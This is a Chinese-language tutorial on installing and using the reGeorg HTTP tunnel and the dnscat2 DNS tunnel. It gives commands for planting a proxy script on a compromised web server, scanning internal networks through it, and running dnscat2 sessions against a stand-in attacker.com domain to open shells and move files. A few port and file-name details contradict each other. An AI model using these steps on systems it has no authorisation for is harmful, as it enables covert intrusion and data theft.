reGeorg、dnscat2--安装、使用
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这两个工具主要用于应用层隧道技术所利用的工具,接下来我们就详细介绍一下这两个工具
一、reGeorg
1、介绍
reGeorg 是一款经典的HTTP 隧道工具,主要用于渗透测试中绕过网络边界限制(如防火墙、IDS),建立攻击者与目标内网之间的通信通道。它通过将 TCP 流量封装到 HTTP/HTTPS 请求中,利用目标网络中已被控制的 Web 服务器作为 “中间代理”,实现对目标内网资源的访问。
2、原理
reGeorg 的核心是 “HTTP 隧道转发”,通过 Web 服务器将攻击者的本地流量与目标内网流量进行双向转发,具体流程如下:
- 部署代理脚本:攻击者将 reGeorg 的代理脚本(如
tunnel.php
)上传到目标网络中已控制的 Web 服务器(该服务器需能访问内网资源)。 - 建立隧道连接:攻击者本地运行 reGeorg 客户端,通过 HTTP/HTTPS 请求连接 Web 服务器上的代理脚本,建立 “客户端 - Web 服务器” 的隧道。
- 流量封装与转发:
- 攻击者的本地流量(如访问内网 IP 的请求)被客户端封装为 HTTP 请求(GET/POST),发送到 Web 服务器的代理脚本;
- 代理脚本解析 HTTP 请求中的数据,还原为原始 TCP 流量,转发到目标内网的指定服务(如内网数据库、SSH 端口等);
- 内网服务的响应被代理脚本封装为 HTTP 响应,返回给攻击者的客户端,客户端再还原为原始流量,完成一次双向通信。
简言之,reGeorg 通过 Web 服务器作为 “中介”,将原本直接的 TCP 通信转化为 “HTTP 请求 - 响应” 的形式,从而绕过基于端口 / 协议的边界防御。
3、安装
下载地址:GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
reGeorg 基于 Python 开发,需提前安装 Python 环境(Python 2 或 3 均可,推荐 Python 2),具体步骤如下:
-
克隆仓库:从 GitHub 获取 reGeorg 源码(官方仓库或镜像仓库):
git clone https://github.com/sensepost/reGeorg.git cd reGeorg
-
验证安装:运行客户端脚本查看帮助信息,确认安装成功:
python2 reGeorgSocksProxy.py -h
4、使用
reGeorg 的使用需分 “服务器端部署” 和 “客户端连接” 两步,具体如下:
1. 服务器端:上传代理脚本
根据目标 Web 服务器支持的脚本类型(如 PHP、ASPX、JSP),选择 reGeorg 目录下对应的脚本(如tunnel.php
、tunnel.aspx
、tunnel.jsp
),上传到目标 Web 服务器的网站根目录(或可访问的路径)。
- 示例:若目标是 Apache 服务器(支持 PHP),上传
tunnel.php
到/var/www/html/
目录,访问路径为http://目标IP/tunnel.php
。 - 验证脚本可用性:通过浏览器或 curl 访问脚本 URL,若返回类似
Georg says, 'All seems fine'
的响应,说明脚本部署成功且可正常访问。
2. 客户端:建立隧道并使用
本地运行 reGeorg 客户端,连接目标 Web 服务器上的代理脚本,建立 SOCKS 代理隧道,具体命令格式:
python reGeorgSocksProxy.py -u <代理脚本URL> -p <本地监听端口>参数说明:
-u:目标 Web 服务器上代理脚本的 URL(如http://192.168.1.100/tunnel.php);
-p:本地监听的 SOCKS 代理端口(如 1080,可自定义);
其他可选参数:-t指定隧道类型(默认 http,支持 https)、-r设置重试次数等。
运行成功后,客户端会在本地127.0.0.1:9999
开启 SOCKS5 代理。
3. 利用隧道访问内网资源
通过本地代理工具(如浏览器、Burp Suite、Nmap)配置 SOCKS5 代理(地址127.0.0.1
,端口1080
),即可通过隧道访问目标内网资源:
- 浏览器访问内网 Web 服务:如
http://10.0.0.10:8080
(目标内网 IP 和端口); - Nmap 扫描内网:
nmap -sT -Pn --proxy socks5://127.0.0.1:1080 10.0.0.0/24
; - Burp Suite 配置代理:在 “User options -> Connections -> SOCKS Proxy” 中设置
127.0.0.1:1080
,可拦截内网 Web 请求。
直接在浏览器设置代理进行访问
二、dnscat2
1、介绍
dnscat2 是一款知名的DNS 隧道工具,主要用于在受限网络环境中(如防火墙限制 TCP/UDP 端口)通过 DNS 协议建立隐蔽通信通道,实现命令控制(C2)、数据传输等功能。由于 DNS 是网络必备协议(几乎所有网络都允许 DNS 流量通过),其隐蔽性远高于 HTTP 隧道,因此常被用于渗透测试中的内网穿透或绕过边界防御。
2、原理
dnscat2 的核心是将非 DNS 数据封装到 DNS 协议中传输,利用 DNS 服务器作为 “中介” 实现客户端与控制端的通信,具体流程如下:
1. DNS 隧道基础
DNS 协议的正常功能是 “域名解析”(如将example.com
解析为 IP),其通信流程为:
客户端 → 本地DNS服务器 → 权威DNS服务器 → 本地DNS服务器 → 客户端
dnscat2 利用这一流程的 “数据传输能力”,将恶意数据(如命令、文件)拆分后,隐藏在 DNS 查询 / 响应的字段中(如 TXT 记录的文本内容、子域名的随机字符串),实现 “借道” DNS 传输非解析数据。
dnscat2隧道的模式有两种,分别是直连模式和中继模式。
- 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
- 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢
2. dnscat2 的具体交互
dnscat2 分为控制端(服务器) 和被控端(客户端),通信流程如下:
- 控制端配置:攻击者在公网搭建 dnscat2 服务器,并控制一个域名(如
attacker.com
),将该域名的权威 DNS 服务器指向 dnscat2 服务器(确保所有对该域名的 DNS 查询都发送到控制端)。 - 客户端连接:目标主机运行 dnscat2 客户端,向控制端的域名(如
attacker.com
)发送特殊 DNS 查询(如子域名abc123.attacker.com
,其中abc123
是加密的数据包)。 - 数据封装与转发:
- 客户端将待发送的数据(如本地命令执行结果)加密后,拆分为多个小片段,编码为子域名或 TXT 记录内容,发送 DNS 查询到控制端;
- 控制端接收 DNS 查询,解析出隐藏的数据,处理后(如生成命令)将响应数据封装到 DNS 响应中(如 TXT 记录返回),发送给客户端;
- 客户端解析 DNS 响应,还原数据并执行命令,完成一次双向通信。
3. 隐蔽性设计
- 数据拆分:大文件或长命令会被拆分为符合 DNS 协议规范的小片段(如子域名长度限制),避免单个包过大被检测;
- 随机化:子域名或记录内容常包含随机字符串,伪装成正常 DNS 查询的 “缓存刷新” 或 “多解析请求”;
- 协议合规:所有流量严格遵循 DNS 协议格式(如 UDP 53 端口),传统防火墙难以区分 “正常解析” 和 “隧道流量”。
3、安装
dnscat2 分为服务器端(dnscat2-server) 和客户端(dnscat2-client),需分别安装。
1. 服务器端安装(Linux )
服务器端基于 Ruby 开发,需先安装 Ruby 环境及依赖:
# 安装Ruby及依赖
sudo apt update && sudo apt install -y ruby ruby-dev git build-essential libpcap-dev# 克隆仓库
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server# 安装Ruby依赖
gem install bundler
bundle install
2. 客户端安装
客户端有预编译的二进制文件(适合快速使用)和源码编译两种方式:
-
预编译版本(推荐):
-
下载地址:Index of /dnscat2/对应系统的客户端(如 Windows 的
dnscat2-win32.exe
,Linux 的dnscat2-linux-x86_64
),直接赋予执行权限即可: -
# Linux客户端示例 chmod +x dnscat2-linux-x86_64
-
源码编译:
客户端基于 C 开发,需安装 gcc 等编译工具:cd dnscat2/client make # 生成dnscat2客户端可执行文件
4、使用(直连模式)
dnscat2 的使用需先配置服务器端,再通过客户端连接,最终建立隧道并执行操作。
1. 服务器端配置与启动
服务器端需绑定域名(或 IP),监听 DNS 请求,常用命令格式:
ruby dnscat2.rb --dns host=127.0.0.1,port=533
-
关键参数:
<域名/IP>
:控制端的域名(如attacker.com
)或 IP(直接监听 IP 时无需域名);-p <端口>
:指定 DNS 监听端口(默认 53,需 root 权限);--secret <密钥>
:设置加密密钥(客户端需使用相同密钥,增强安全性);-d
:启用调试模式(查看详细流量日志)。
-
启动成功后,服务器会监听 533 端口,等待客户端连接。
2. 客户端连接服务器
客户端需指定服务器域名(或 IP),并与服务器端配置匹配(如密钥),命令格式:
./dnscat2-linux-x64 --dns server=<服务器域名/IP>,port=533 [选项]
关键参数:
<服务器域名/IP>
:dnscat2 服务器的域名(如attacker.com
)或 IP;--secret <密钥>
:与服务器端相同的加密密钥;-t <记录类型>
:指定 DNS 记录类型(如TXT
、A
,默认自动选择);--dnsserver <IP>
:强制使用指定 DNS 服务器(通常无需设置,默认使用系统 DNS)。
3. 隧道会话操作
客户端成功连接后,服务器端会显示会话信息(如New session established: 1
),此时可通过服务器端交互界面控制客户端:
- 常用命令:
session <ID>
:进入指定会话(如session 1
进入 ID 为 1 的客户端会话);shell
:在客户端开启一个交互式 shell(类似反向 shell);download <远程文件> <本地路径>
:从客户端下载文件;upload <本地文件> <远程路径>
:向客户端上传文件;help
:查看所有可用命令;exit
:退出当前会话或服务器。